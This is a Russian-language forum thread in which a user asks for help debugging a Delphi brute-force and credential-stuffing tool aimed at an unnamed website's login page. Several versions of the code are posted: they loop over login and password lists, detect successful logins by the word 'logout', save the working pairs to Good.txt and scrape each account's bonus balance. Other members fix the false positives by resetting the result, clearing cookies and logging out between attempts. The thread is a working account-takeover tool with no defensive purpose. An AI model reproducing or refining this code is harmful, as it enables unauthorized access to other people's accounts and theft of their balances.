Помощь с брутом

[19955991]

Вообщем бручу простенький сайт без капчи и прокси. Проблема в том что он перебирает логины и пароли до ближайшего гуда, а как только ловит гуд, то следом за ним начинает все определять как гуд
Ну т.е. примерно так:
login;pass - Действительно Bad
login;pass - Действительно Bad
login;pass - Действительно Good
login;pass - Ложный Good
login;pass - Ложный Good


procedure TForm1.Button1Click(Sender: TObject);
var
email:TStringList;
pass:TStringList;
post:TStringList;
i,j:integer;
result:string;
begin
email:=TStringList.Create;
pass:=TStringList.Create;
post:=tstringlist.Create;
email.LoadFromFile('email.txt');
pass.LoadFromFile('pass.txt');
memo1.Text:=email.Text;
memo2.Text:=pass.Text;
for I := 0 to memo1.Lines.Count - 1 do
begin
post.Clear;
post.Add('page=сайт/login.php');
post.Add('userNick='+memo1.Lines.Strings[i]);
for j:=0 to pass.Count-1 do
begin
post.Add('userPass='+memo2.Lines.Strings[j]);
result:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('сайт', post);
if pos('logout', result)<>0 then
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Good')
else
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Bad');
end;
end;
end;
end.

[VeTaL_UA]

result:='';
Вставь это после конструкции if..then..else

[19955991]

result:='';
Вставь это после конструкции if..then..else

Вроде бы и логично, но к сожалению результат тот же...

[VeTaL_UA]

procedure TForm1.Button1Click(Sender: TObject);
var
email:TStringList;
pass:TStringList;
post:TStringList;
i,j:integer;
result:string;
begin
email:=TStringList.Create;
pass:=TStringList.Create;
post:=tstringlist.Create;
email.LoadFromFile('email.txt');
pass.LoadFromFile('pass.txt');
memo1.Text:=email.Text;
memo2.Text:=pass.Text;
for I := 0 to memo1.Lines.Count - 1 do
begin
post.Clear;
post.Add('page=сайт/login.php');
post.Add('userNick='+memo1.Lines.Strings[i]);
for j:=0 to pass.Count-1 do
begin
post.Add('userPass='+memo2.Lines.Strings[j]);
result:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('сайт', post);
if pos('logout', result)<>0 then
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Good');
result:=''
else
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Bad');
result:='';
end;
end;
end;
end.

[19955991]

VeTaL_UA, и опять не то, дело в том что так как ты написал не получиться, надо после then добавлять begin и end перед else соответственно, а в таком случае также начинает неправильно определять(все гуды), может сайт и пароль в личку скинуть, посмотришь?

[VeTaL_UA]

procedure TForm1.Button1Click(Sender: TObject);
var
email:TStringList;
pass:TStringList;
post:TStringList;
i,j:integer;
result:string;
begin
email:=TStringList.Create;
pass:=TStringList.Create;
post:=tstringlist.Create;
email.LoadFromFile('email.txt');
pass.LoadFromFile('pass.txt');
memo1.Text:=email.Text;
memo2.Text:=pass.Text;
for I := 0 to memo1.Lines.Count - 1 do
begin
post.Clear;
post.Add('page=сайт/login.php');
post.Add('userNick='+memo1.Lines.Strings[i]);
for j:=0 to pass.Count-1 do
begin
post.Add('userPass='+memo2.Lines.Strings[j]);
result:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('сайт', post);
if pos('logout', result)<>0 then
begin
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Good');
end
else
begin
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Bad');
end;
result:='';
end;
end;
end;
end.
Должно работать, или дело в запросе...

[Mebius]

куки чисти и не забудь перед следующим подбором нажать волшебную кнопочку "выход" на сайте

[19955991]

куки чисти и не забудь перед следующим подбором нажать волшебную кнопочку "выход" на сайте
спасибо большое!!!

Подскажите еще пожалуйста как сделать чтобы брут перебирал 1 пароль к 1 логину.
Сейчас он перебирает 1 логину все пароли

[VeTaL_UA]

Подскажите еще пожалуйста как сделать чтобы брут перебирал 1 пароль к 1 логину.
Сейчас он перебирает 1 логину все пароли
Убрать один цикл...

[19955991]

Всем спасибо, разобрался

Добавлено через 21 час 16 минут
Вообщем опять проблемы/horror
Один цикл убрал но опять же перебирает 1 пароль ко всем логинам, не пойму в чем проблема, вроде все правильно, перепробовал уже все что можно и нельзя.

procedure TForm1.Button1Click(Sender: TObject);
var
post, good, bad:TStringList;
i,j:integer;
result:tStringlist;
bal: String;
sgood,sbad:integer;
begin
email:=TStringList.Create;
pass:=TStringList.Create;
post:=tstringlist.Create;
result:=tstringlist.Create;
good:=tstringlist.Create;
bad:=tstringlist.Create;
sgood:=0;
sbad:=0;
email.LoadFromFile('logins.txt');
pass.LoadFromFile('pass.txt');
for I := 0 to email.Count - 1 do
begin
post.Clear;
post.Add('page=сайт/login.php');
post.Add('userNick='+email.Strings[i]);
post.Add('userPass='+pass.Strings[J]);
result.Text:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('Сайт', post);
if pos('logout', result.Text)<>0 then
begin
bal:=pars('<a href="/bonuses.php">', result.Text, '</a>');
memo3.Lines.Add(email.Strings[i]+';'+pass.Strings[j]+' - Good'+bal);
good.Add(email.Strings[i]+';'+pass.Strings[j]+bal);
good.SaveToFile('Good.txt');
sgood:=sgood+1;
StaticText1.Caption:=inttostr(sgood);
result.Text:=id[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]сайт.ru/login.php?action=logout');
end
else
begin
memo3.Lines.Add(email.Strings[i]+';'+pass.Strings[j]+' - Bad');
result.Clear;
bad.Add(email.Strings[i]+';'+pass.Strings[j]);
bad.SaveToFile('Bad.txt');
sbad:=sbad+1;
StaticText2.Caption:=inttostr(sbad)
end;
end;
end;
end.